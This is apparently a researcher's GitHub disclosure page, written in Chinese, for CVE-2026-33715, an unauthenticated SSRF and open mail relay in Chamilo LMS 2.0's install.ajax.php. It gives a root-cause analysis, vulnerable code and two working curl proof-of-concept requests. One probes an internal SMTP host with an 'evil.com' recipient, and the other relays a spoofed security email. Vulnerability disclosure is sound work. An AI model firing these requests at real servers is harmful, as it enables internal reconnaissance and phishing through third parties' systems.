romain-deperne/CVE-2026-33715

GitHub: romain-deperne/CVE-2026-33715

针对 Chamilo LMS 2.0 中 install.ajax.php 未授权 SSRF 与开放邮件中继漏洞的 PoC 利用代码与根因分析。

Stars: 0 | Forks: 0

# CVE-2026-33715 — Chamilo LMS 中通过 install.ajax.php 实现的未认证 SSRF + 开放邮件中继 **严重程度**:高 (CVSS 7.5) **CWE**:CWE-918 (SSRF) + CWE-306 (缺失认证) **受影响范围**:`chamilo/chamilo-lms` 2.0 (提交版本 0195b29 及更早版本) ** Advisory**:GHSA-mxc9-9335-45mc **NVD**:https://nvd.nist.gov/vuln/detail/CVE-2026-33715 ## 太长不看 (TL;DR) 在已完全安装的 Chamilo LMS 2.0 实例中,`install.ajax.php` 可以在未认证的情况下被访问。其 `test_mailer` 动作接受任意的 Symfony Mailer DSN 和来自 POST 数据的目标收件人,允许任何未经认证的攻击者强制服务器向任意内部主机发起 SMTP 连接 (SSRF),并将 Chamilo 服务器作为开放中继发送电子邮件。 ## 我是如何发现这个漏洞的 在对 Chamilo LMS 进行审计时,我注意到它已经积累了几个 CVE,但其 AJAX 端点并未经过深度审计。我的方法是:列出 `public/main/inc/ajax/` 中的所有文件,并检查它们是否以 `require_once __DIR__.'/../global.inc.php'` 开头——这个包含文件负责在整个代码库中强制执行身份验证。 `install.ajax.php` 是个例外。它只包含了 Composer 自动加载器。文件名已经暗示它是安装时遗留的代码——而在其中 `grep` 搜索 `test_mailer` 进一步证实,它接受来自 POST 数据的原始 Symfony Mailer DSN 字符串,并将其直接传递给 `Transport::fromDsn()`。 这是一个完整的 SSRF 原语:未经认证的攻击者可以控制服务器连接的协议、主机和端口。由于它会通过你配置的任意传输方式发送实际邮件,这也使其变成了一个开放邮件中继。我通过一个简单的 `curl` 命令确认了在完全安装的实例上,无需任何 session cookie 即可访问该端点。 根本原因在于架构层面:该文件绕过了 Symfony 的安全防火墙,因为 Apache 的 `RewriteCond %{REQUEST_FILENAME} !-f` 会将存在的 PHP 文件直接交给 PHP 处理,而不会进入前端控制器。 ## 受影响的组件 **文件**:`public/main/inc/ajax/install.ajax.php` 该文件是为安装向导设计的,但在安装完成后仍然可以访问。与同一目录下的其他所有 AJAX 端点不同,它**没有**包含 `global.inc.php`——这意味着没有任何身份验证和授权检查: ``` // Line 18 — only loads Composer autoloader, no auth require_once __DIR__.'/../../../../vendor/autoload.php'; ``` `test_mailer` 动作(约第 138 行)接受攻击者控制的 POST 参数: ``` case 'test_mailer': $mailerDsn = (string) $request->request->get('mailerDsn'); // arbitrary SMTP DSN $mailerTestDestination = (string) $request->request->get('mailerTestDestination'); // arbitrary email // ... $transport = Transport::fromDsn($mailerDsn); // connects to attacker's SMTP server $mailer = new Mailer($transport); $mailer->send($email); // sends email through it ``` **与正确受保护的端点进行比较:** ``` // chat.ajax.php line 9 — correct pattern require_once __DIR__.'/../global.inc.php'; // enforces authentication api_block_anonymous_users(); ``` ## 根本原因 该文件由 Apache 直接提供 (`RewriteCond %{REQUEST_FILENAME} !-f` 将现有的 PHP 文件直接通过,绕过了 Symfony 的安全防火墙)。由于没有包含 `global.inc.php`,意味着没有 session,没有认证,也没有安装完成的检查。 ## PoC 有关完整的演示,请参见 [`poc.py`](./poc.py)。 ``` # SSRF — 强制 Chamilo 连接到内部 SMTP server curl -X POST "http:///main/inc/ajax/install.ajax.php?a=test_mailer" \ -d "mailerDsn=smtp://10.0.0.1:25" \ -d "mailerFromEmail=test@chamilo.org" \ -d "mailerFromName=Test" \ -d "mailerTestDestination=attacker@evil.com" # Open relay — 通过 Chamilo server 发送钓鱼邮件 curl -X POST "http:///main/inc/ajax/install.ajax.php?a=test_mailer" \ -d "mailerDsn=smtp://mail.chamilo.org:587" \ -d "mailerFromEmail=security@chamilo.org" \ -d "mailerFromName=Chamilo Security" \ -d "mailerTestDestination=victim@target-org.com" ``` ## 影响 1. **SSRF** — 未经认证的攻击者强制服务器向任意内部主机发起 SMTP 连接,从而能够进行内部网络侦察并可能利用内部邮件服务器 2. **开放邮件中继** — Chamilo 服务器将包含攻击者控制内容的电子邮件发送到任意目标地址,且看似源自服务器的合法 IP,这会损害邮件发送信誉 3. **信息泄露** — SMTP 错误响应会暴露内部网络拓扑结构和服务可用性 ## 时间线 - **发现日期**:2026-03-22 - **报告日期**:GHSA-mxc9-9335-45mc (私有 Advisory) - **CVE 发布**:CVE-2026-33715
标签:Apache, Chamilo LMS, CISA项目, CVE-2026-33715, CVSS 7.5, CWE-306, CWE-918, OpenVAS, PHP, SSRF, Symfony, Web安全, 企业级学习管理系统, 开放邮件中继, 情报收集, 教育信息化, 服务端请求伪造, 未授权访问, 漏洞研究, 网络安全, 蓝队分析, 逆向工具, 隐私保护